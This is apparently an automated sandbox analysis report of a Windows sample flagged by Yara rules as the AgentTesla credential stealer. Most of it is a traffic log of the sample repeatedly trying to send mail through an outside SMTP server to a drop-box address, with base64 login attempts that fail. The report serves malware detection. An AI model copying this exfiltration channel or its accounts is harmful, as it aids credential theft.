Jul 25, 2024 19:17:52.989850044 CEST	587	49711	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:17:55.407084942 CEST	587	49711	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:17:55.407335997 CEST	49711	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:17:55.578852892 CEST	587	49711	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:17:55.579051018 CEST	49711	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:17:55.765598059 CEST	587	49711	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:19:29.662892103 CEST	587	49720	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:19:29.663526058 CEST	49720	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:19:30.130865097 CEST	587	49720	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:19:30.131197929 CEST	49720	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:19:30.131546021 CEST	587	49720	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:19:30.292591095 CEST	587	49720	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:19:32.498332024 CEST	587	49720	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:19:32.505477905 CEST	49720	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:19:32.662017107 CEST	587	49720	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:19:32.665705919 CEST	49720	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:19:32.840616941 CEST	587	49720	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:19:41.269342899 CEST	587	49721	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:19:41.269584894 CEST	49721	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:19:41.269702911 CEST	587	49721	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:19:41.446901083 CEST	587	49721	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:19:41.447071075 CEST	49721	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:19:41.613581896 CEST	587	49721	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:19:43.332592010 CEST	587	49721	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:19:43.335664034 CEST	49721	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:19:43.497304916 CEST	587	49721	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:19:43.497589111 CEST	49721	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:19:43.775619030 CEST	587	49721	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:19:53.518883944 CEST	587	49722	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:19:53.519040108 CEST	49722	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:19:53.682846069 CEST	587	49722	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:19:53.682990074 CEST	49722	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:19:57.841155052 CEST	587	49722	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:19:59.338958025 CEST	587	49722	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:19:59.339984894 CEST	49722	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:19:59.525849104 CEST	587	49722	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:19:59.525981903 CEST	49722	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:19:59.700208902 CEST	587	49722	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:20:02.498034000 CEST	587	49723	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:20:02.498264074 CEST	49723	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:20:02.658258915 CEST	587	49723	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:20:02.658469915 CEST	49723	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:20:02.818344116 CEST	587	49723	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:20:04.364473104 CEST	587	49724	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:20:04.364665985 CEST	49724	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:20:04.539583921 CEST	587	49724	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:20:04.540036917 CEST	49724	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:20:05.283797979 CEST	587	49725	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:20:05.283982038 CEST	49725	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:20:05.442523956 CEST	587	49725	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:20:05.442713022 CEST	49725	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:20:05.603177071 CEST	587	49725	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:20:07.339443922 CEST	587	49725	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:20:07.341741085 CEST	49725	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:20:07.558235884 CEST	587	49725	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:20:07.558419943 CEST	49725	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:20:07.733979940 CEST	587	49725	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:20:16.517530918 CEST	587	49726	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:20:16.520664930 CEST	49726	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:20:16.686058998 CEST	587	49726	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:20:16.686285019 CEST	49726	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:20:16.853066921 CEST	587	49726	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:20:18.786267996 CEST	587	49726	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:20:18.786597013 CEST	49726	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:20:18.792310953 CEST	587	49726	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:20:18.954289913 CEST	587	49726	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:20:18.954842091 CEST	49726	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:20:19.140961885 CEST	587	49726	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:20:25.103842020 CEST	587	49727	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:20:25.103969097 CEST	49727	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:20:25.317955017 CEST	587	49727	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:20:25.318209887 CEST	49727	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:20:25.480125904 CEST	587	49727	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:20:27.679671049 CEST	587	49727	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:20:27.679714918 CEST	587	49727	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:20:28.261765003 CEST	587	49728	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:20:28.261874914 CEST	49728	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:20:28.432954073 CEST	587	49728	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:20:28.433098078 CEST	49728	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:20:28.604074955 CEST	587	49728	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:20:30.162595034 CEST	587	49729	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:20:30.162786961 CEST	49729	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:20:30.321820021 CEST	587	49729	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:20:30.321975946 CEST	49729	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:20:30.491468906 CEST	587	49729	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:20:32.378535986 CEST	587	49729	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:20:32.378798962 CEST	49729	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:20:32.621088028 CEST	587	49729	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:20:32.625514984 CEST	49729	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:20:32.822891951 CEST	587	49729	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:20:38.656832933 CEST	587	49730	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:20:38.661516905 CEST	49730	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:20:38.838748932 CEST	587	49730	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:20:38.840092897 CEST	49730	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:20:39.011456013 CEST	587	49730	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:20:40.247836113 CEST	587	49733	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:20:40.247982025 CEST	49733	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:20:40.414540052 CEST	587	49733	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:20:40.414746046 CEST	49733	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:20:40.619743109 CEST	587	49733	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:20:42.354418039 CEST	587	49733	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:20:42.354573011 CEST	49733	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:20:42.526681900 CEST	587	49733	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:20:42.531781912 CEST	49733	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:20:42.739706039 CEST	587	49733	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:20:47.811508894 CEST	587	49734	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:20:47.811672926 CEST	49734	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:20:47.979518890 CEST	587	49734	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:20:47.984751940 CEST	49734	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:20:48.148386002 CEST	587	49734	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:20:50.364067078 CEST	587	49734	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:20:50.364218950 CEST	49734	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:20:50.537293911 CEST	587	49734	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:20:50.537606001 CEST	49734	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:20:50.741770029 CEST	587	49734	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:21:01.004905939 CEST	587	49735	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:21:01.005194902 CEST	49735	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:21:01.168024063 CEST	587	49735	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:21:01.168342113 CEST	49735	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:21:01.328331947 CEST	587	49735	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:21:03.538322926 CEST	587	49735	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:21:03.538857937 CEST	49735	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:21:03.704817057 CEST	587	49735	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:21:03.705012083 CEST	49735	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:21:03.888133049 CEST	587	49735	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:21:14.254731894 CEST	587	49736	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:21:14.254928112 CEST	49736	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:21:14.460799932 CEST	587	49736	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:21:14.461024046 CEST	49736	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:21:14.672751904 CEST	587	49736	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:21:16.378689051 CEST	587	49736	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:21:16.378885031 CEST	49736	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:21:16.859947920 CEST	587	49736	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:21:16.860127926 CEST	49736	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:21:16.865880966 CEST	587	49736	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:21:17.054963112 CEST	587	49736	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:21:26.385333061 CEST	587	49737	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:21:26.385489941 CEST	49737	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:21:26.387170076 CEST	587	49737	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:21:26.828413010 CEST	587	49737	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:21:26.990353107 CEST	587	49737	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:21:26.993752003 CEST	49737	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:21:27.155898094 CEST	587	49737	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:21:29.172308922 CEST	587	49737	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:21:29.173795938 CEST	49737	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:21:29.339230061 CEST	587	49737	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:21:29.341702938 CEST	49737	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:21:29.524669886 CEST	587	49737	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:21:34.763938904 CEST	587	49738	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:21:34.769622087 CEST	49738	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:21:34.941061020 CEST	587	49738	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:21:34.944675922 CEST	49738	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:21:35.221143961 CEST	587	49738	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:21:37.561686993 CEST	587	49738	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Jul 25, 2024 19:21:37.564413071 CEST	49738	587	192.168.2.5	208.91.198.143	MAIL FROM:<holger.werth@thanhancompony.com>
Jul 25, 2024 19:21:37.728533030 CEST	587	49738	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Jul 25, 2024 19:21:37.728876114 CEST	49738	587	192.168.2.5	208.91.198.143	RCPT TO:<accounts@scorpi0ship.com>
Jul 25, 2024 19:21:37.904254913 CEST	587	49738	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:21:38.185183048 CEST	587	49738	208.91.198.143	192.168.2.5	554 5.7.1 <accounts@scorpi0ship.com>: Relay access denied
Jul 25, 2024 19:21:53.512001991 CEST	587	49739	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Jul 25, 2024 19:21:53.512162924 CEST	49739	587	192.168.2.5	208.91.198.143	EHLO 701188
Jul 25, 2024 19:21:53.712277889 CEST	587	49739	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Jul 25, 2024 19:21:53.712527990 CEST	49739	587	192.168.2.5	208.91.198.143	AUTH login aG9sZ2VyLndlcnRoQHRoYW5oYW5jb21wb255LmNvbQ==
Jul 25, 2024 19:21:53.891038895 CEST	587	49739	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Jul 25, 2024 19:21:55.198633909 CEST	587	49739	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6

Target ID:	0
Start time:	13:17:42
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\LisectAVT_2403002A_52.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\LisectAVT_2403002A_52.exe"
Imagebase:	0xc0000
File size:	749'070 bytes
MD5 hash:	52CB8BFA6BC3FFA539D9ABA0ADA28842
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.2020608917.000000000369E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:17:44
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\LisectAVT_2403002A_52.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\LisectAVT_2403002A_52.exe"
Imagebase:	0x710000
File size:	749'070 bytes
MD5 hash:	52CB8BFA6BC3FFA539D9ABA0ADA28842
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.4472594984.00000000029AE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.4472594984.0000000002981000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.4472594984.0000000002981000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.4471130246.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	93
Total number of Limit Nodes:	6

Executed Functions

Function 00A9D450 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00A9D4DE
GetCurrentThread.KERNEL32 ref: 00A9D51B
